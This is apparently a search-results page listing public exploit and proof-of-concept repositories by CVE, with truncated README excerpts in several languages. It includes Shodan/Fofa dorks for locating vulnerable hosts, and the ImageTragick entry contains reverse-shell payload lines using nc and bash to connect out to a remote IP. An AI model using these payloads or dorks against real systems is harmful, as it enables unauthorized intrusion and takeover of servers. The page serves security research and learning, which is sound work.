319812 matches found
CVE-2022-22909
CVE-2022-22909 Hotel Druid 3.0.3 - リモートコード実行 RCE kaal によるエクスプロイト エクスプロイト 1. HotelDruidExploit.py このエクスプロイトは、PHP ペイロードをルーム名として新しいルームを作成します。 使用方法 : $ ./HotelDruidExploit.py -h $ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid 2. HotelDruidExploitRoom.py このエクスプロイトは、ルーム名を既に知っている場合に動作します。 使用方法 :...
CVE-2026-25243
CVE-2026-25243 — Redis RESTORE zipmap двойное освобождение → удаленное выполнение кода Кратко. Некорректная полезная нагрузка DUMP, переданная в RESTORE, вызывает двойное освобождение кучи в загрузчике устаревшего hash-zipmap в Redis. При использовании jemalloc по умолчанию двойное освобождение...
PoC---CVE-2023-26482-RCE-LAB-Nextcloud
Next cloud Proof of Concept и анализ Уведомление о безопасности Этот репозиторий воспроизводит публично раскрытую и исправленную уязвимость в контролируемой лабораторной среде Docker в образовательных и исследовательских целях. Среда намеренно уязвима и должна разворачиваться только в изолированн...
CVE-2022-33980-Apache-Commons-Configuration-RCE
CVE-2022-33980-Apache-Commons-Configuration-RCE...
CVE-2026-50522
CVE-2026-50522 PoC: SharePoint Deserialization RCE Неаутентифицированное удалённое выполнение кода на SharePoint Server через десериализацию cookie SecurityContextToken Массовый эксплойт для CVE-2026-50522, нацеленный на локальные on-premises установки Microsoft SharePoint Server. Использует...
CVE-2021-44228-log4Shell
CVE-2021-44228-log4Shell — эксплойт Тест эксплойта выполняет ping на google.com выполняет любую команду выводит имя ОС, версию и архитектуру собирает сведения об ОС и пользователе открывает калькулятор на удаленной машине может запустить любой исполняемый файл загружает этот README.md с github...
WonderShell
WonderShell - CVE - 2021-44595 | CVE - 2021-44596 Обнаружено Нетанель Коэн и Томер Пелед, исследователи безопасности из BugSec. Описание Пример PoC для эксплуатации Wondershare Dr.Fone. Dr.Fone — это телефонный набор инструментов, разработанный Wondershare и уязвимый к RCE. Только имея сетевой...
CVE
Таблица CVE Номер CVE| Тип| Компания/Продукт| Описание| Ссылка на статью| Ссылка на репозиторий ---|---|---|---|---|--- CVE-2026-9680| SQL-инъекция| Alibaba RDS MCP Servers| Уточняется| Уточняется| Уточняется CVE-2026-50335| Локальное повышение привилегий| Windows July 2026| Уточняется| Уточняетс...
CVE-2024-3400-RCE-Scan
Поисковые дорки для киберпространства Fofa app="paloalto-GlobalProtect" https://en.fofa.info/result?qbase64=YXBwPSJwYWxvYWx0by1HbG9iYWxQcm90ZWN0Ig%3D%3D Zoomeye app:"Palo Alto Networks firewall httpd"...
CVE-2022-46169-Cacti-v1.2.22-RCE
CVE-2022-46169-Cacti-v1.2.22...
cve-2025-57819
🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ Мощный набор инструментов Nuclei для обнаружения и проверки критической уязвимости обхода аутентификации FreePBX. 📖 Оглавление Нажмите, чтобы развернуть О проекте Ключевые возможности Разбор уязвимости Шаблоны в действии Поиск целей с помощью Shodan Правовое...
ImageTragick_Poc
ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...
CVE-2017-12617
CVE-2017-12617 Apache Tomcat에서 발견된 CVE-2017-12617 치명적인 원격 코드 실행RCE 취약점 HTTP PUT이 활성화된 시스템Default 서블릿의 "read-only" 초기화 매개변수를 "false"로 설정이 영향을 받습니다. Tomcat 9.0.1Beta, 8.5.23, 8.0.47 및 7.0.82 이전 버전에는 잠재적으로 위험한 원격 코드 실행RCE 취약점이 있으며, 모든 운영 체제에서 기본 서블릿이 readonly 매개변수를 false로 설정하여 구성되거나 WebDAV 서블릿이 활성화된...
CVE-2024-28397-RCE
CVE-2024-28397 Скрипт RCE По умолчанию используется полезная нагрузка reverse shell и разрешён необязательный аргумент команды. Эксплойт работает для js2py = v0.74 Требования Python 3.x Библиотека requests pip install requests Слушатель Netcat для reverse shell Пример использования Обратная...
CVE-2021-39172-RCE
CVE-2021-39172 Cachet 2.4: выполнение кода через инъекцию конфигурации Laravel Пост в блоге об уязвимости https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ вы можете использовать это для ctf или просто для обучения удачи, и да благословит вас всех Бог...
CVE-2016-10033
CVE-2016-10033 – Удаленное выполнение кода в PHPMailer 📌 Описание Этот репозиторий содержит PoC-эксплойт для CVE-2016-10033 , уязвимость в PHPMailer версиях до 5.2.18. Проблема возникает, когда аргумент $additionalparameters встроенной в PHP функции mail обрабатывается некорректно, позволяя...
CVE-2022-30190
CVE-2022-30190 Основано на https://github.com/JohnHammond/msdt-follina Настройка окружения Используйте файлы в /env-setup 1. Виртуальная машина: используйте VirtualBox и Win1021H2Englishx32.iso сборка 19044.1288 2. Установите Microsoft Word, запустите setup.exe /configure configuration.xml через...
CVE-2024-29671-POC
NEXTU FLETA Wifi6 라우터 RCE 익스플로잇 POC 이 문서는 NEXTU FLATA AX1500 라우터 펌웨어에서 CVE-2024-29671 취약점이 어떻게 악용되었는지 설명합니다. 실행 환경 이 라우터는 Realtek 칩셋을 사용하는 리틀엔디언Little-Endian MIPS 아키텍처 기반입니다. 대상 라우터 펌웨어 버전은 v1.0.2입니다. 이 펌웨어는 2005년에 마지막으로 릴리스된 "boa"라는 임베디드 웹 서버를 포함합니다. 하지만 이 라우터는 boa 웹 서버를 사용하여 라우터 펌웨어를 제어하는 관리자 웹...
dp_cryptomg
dpcryptomg Ещё один инструмент для эксплуатации CVE-2017-9248 — криптографической уязвимости в обработчике диалогов Telerik UI for ASP.NET AJAX. Эксплуатация приводит к доступу к утилите управления файлами, способной загружать произвольные файлы, что обычно приводит к удалённому выполнению кода...